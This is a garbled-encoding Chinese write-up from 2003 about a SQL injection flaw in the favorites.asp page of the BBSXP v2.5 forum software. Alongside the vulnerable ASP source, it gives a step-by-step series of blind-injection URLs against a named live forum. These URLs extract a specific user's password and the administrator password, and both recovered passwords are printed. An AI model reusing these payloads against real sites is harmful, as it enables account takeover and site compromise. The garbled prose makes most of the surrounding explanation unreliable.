ôSQLע룬͸BBSXPٷվ̨. 

³:йűȫС
:Ҫģ
©Դ:BBSXP
Ӱ汾:v2.5
©ύ:2003-10-21 21:46:37

 
© 


   һӰֽšȫְɱ֡ежҷǳϲĸԣ
ǳcooli likeǺǣ֪㿴ⲿӰûУ
  ҽҪΪҽĹ·統.һηǳsql͸.Ҳ.
:
1.ҳ©©.
2.©,õǰ̨.
3.©,ǫ̃.
4.ӹ,!

ʼ

bbsxpٷվµbbsxp

һҳ©©.©ûղع Ӧaspļfavorites.asp
//*************************Դ***************************************************//
<!-- #include file="setup.asp" --><%

if request.cookies("username")="" then 
   error("<li>δ<a href=login.asp>½</a>")
end if

select case request("menu")
  case "add"
    if request.servervariables("request_method")="post" then 
       url=request("url")
    else 
       url=request.servervariables("http_referer")
    end if
    conn.execute("insert into favorites(username,name,url)values('"&request.cookies("username")&"','"&request("name")&"','"&url&"')")
    error2("Ѿӵղؼ!")

case "del"
  conn.execute("delete from [favorites] where username='"&request.cookies("username")&"' and id="&request("id")&"")
end select
//***************************ôԵ********************************//

ˣҪעʹñ.
ȻaspļύĲУmenu,idֵ.
ҿύmenu=delʱ򡣹õʲô©©
  conn.execute("delete from [favorites] where username='"&request.cookies("username")&"' and id="&request("id")&"")
ύidֵûйֱӼ뵽sqlˡ

 
ʾ 

ڶ©õǰ̨Ա.

ӵǲһ©ǲǴ.
Լһղصַȥ.õղصid(ǵõ576)
ieύ.
http://bbs.yuzi.net/favorites.asp?menu=del&id=576 and 1=1
ύsqlУʵϾǣ
  conn.execute("delete from [favorites] where username='"&request.cookies("username")&"' and id=576 and 1=1")
  ùǸrequest.cookies("username").ֱӾ͵û.
ύ󣬷ղصļdelˡ֤©ûдϲ

ҵ©ˣǺ~֧̰ɣݿ鿴ݿṹ
ݿûֶΪusername ֶΪuserpass(ע룬ûоκμ)
ھõһɡҳһУkongweb.

ύ http://bbs.yuzi.net/favorites.asp?menu=del&id=576 and 1=(select count(*) from [user] where username='kongweb' and len(userpass)=5)

ǺǣύsqlУʲôأ
conn.execute("delete from [favorites] where username='"&request.cookies("username")&"' and id=576 and 1=(select count(*) from [user] where username='kongweb' and len(userpass)=5)")

sql˽սǶ֪whereΪ£Żִ䣡
ִĽdelһԼղصַôǵ
1=(select count(*) from [user] where username='kongweb' and len(userpass)=5)")
ΪĻdelidΪ576ղصַ.
һ¡䣬ûkongweb,볤Ϊ5ʱ򣬾һ¼ء
count(*)˼Ƿļ¼պΪ1Ҳ˵ʽ
Ȼɹǲdelղصַġ

Ǹı䳤ֵ. ˵ȵ9ʱdelղصַ
֤kongwebΪ9λ.
ˣǿɣ ĵһλ롣ʱҪӵղصַ
Ϊȷһͻdelһղصַ

ύ http://..../favorites.asp?menu=del&id=567 and 1=(select count(*) from [user] where username='kongweb' and mid(userpass,1,1)='a')
˵һmid÷
mid(ַ,ʼλ,) һȡַضλãضȵһ.
mid(userpass,1,1)='a'ʾȡĵһλǲ'a' עһҪϵŲ.

ҴдƽֱƽģbbsվرҲ֪Ϊʲô
ԣ춼ܲҲֹֻ.
һλ뼸ֺŲ³

ύhttp://..../favorites.asp?menu=del&id=588 and 1=(select count(*) from [user] where username='kongweb' and mid(userpass,1,1)='k') ʱdelˣղصַidΪ588ļ¼.
ieûп¼ˡ֤ɹˡãڻidֵȡڶλ.
http://..../favorites.asp?menu=del&id=589 and 1=(select count(*) from [user] where username='kongweb' and mid(userpass,2,1)='d')
ظύ޸ģóǣkdjkdjkdj

һ¼򵥵ķ,ȡַascİ취СΧġ
http://..... and 1=(select count(*) from [user] where username='kongweb' and asc(mid(userpass,1,1))>100)
delղ.֤һַasc100
෴Ҳԣ..asc(mid(userpass,1,1))<105
ȷôַascǣ100-105֮ˡȷ磺asc(mid(userpass,1,1))=103
delղأ͵õַascˡӦĹתeĸokˡ[дĳҪϵ]
ûַΪҪ̫ղصַСΪ÷ΧȥȽϵĻĻܴ󣬵ͻdelղصġǻһλһλȡɡ
ղҲҪ
ˣڶѾˡǵõkongweb 룺kdjkdjkdj

ǫ̃;

  һĿṹclubconfigһֶνУadminpasswordֶε.Ҳܱ.
  ҪľǾҪȡֶεֵ.
  һ㶼ֻһ¼count(*) Ҳֻһ.

  ٴǵڶ©.в½.
  һİ취ǫ̃볤Ϊ9λ.
  http://bbs.yuzi.net/favorites.asp?menu=del&id=590 and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)
  պȷ
  뵽ˣղǰ̨Ҳ9λǰ̨ͺ̨ͬɣһ¡ȷǰ̨벻һҲֻĲˡ
  
  µһλ
  http://bbs.yuzi.net/favorites.asp?menu=del&id=591 and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)='b')
  okһλˡ
  http://bbs.yuzi.net/favorites.asp?menu=del&id=592 and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)='b')
  ok.ڶλҲˡǰλbb.

  ǺǣṤѧѧôһ¡뵽bbsǺǣ뵽ǰλbbs԰ɣ
  http://bbs.yuzi.net/favorites.asp?menu=del&id=593 and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)='s')
  ̫ˡٷṤѧĹܡ뵽bbsxpΪǵվĲƷһ˶ġԡ

leftȡǰ5λ
˵һleft(ַ,)Ǵַһλʼȡȸֵ
http://bbs.yuzi.net/favorites.asp?menu=del&id=594 and 1=(select count(*) from [clubconfig] where left(adminpassword,5)='bbsxp')
ֶˡǺǣλ벻ˡƵλ.
ǰλǣbbsxpcoλˡһ¡coλʲôأǺǣṤѧѧûб˺ð
ֵǶ˺þã뵽cool԰ɣ
ˣȻˡcoolǣbbsxpcool
http://bbs.yuzi.net/favorites.asp?menu=del&id=598 and 1=(select count(*) from [clubconfig] where adminpassword='bbsxpcool')

ǰ̨˺ţͺ̨롣ȥ!

Ĳ.
  ̨Ƿ˼עűȫĹ棬Ȼ!


䣺
  ǰʱԶٷ̳Ҳһ©bbsxpôͼĴֹĶԼbbsxpǸ
  ǲǶĹֻΪӰȫһǵ̳ϣԺдøã
  ҲһŬٴζǵ̳вԵġ 
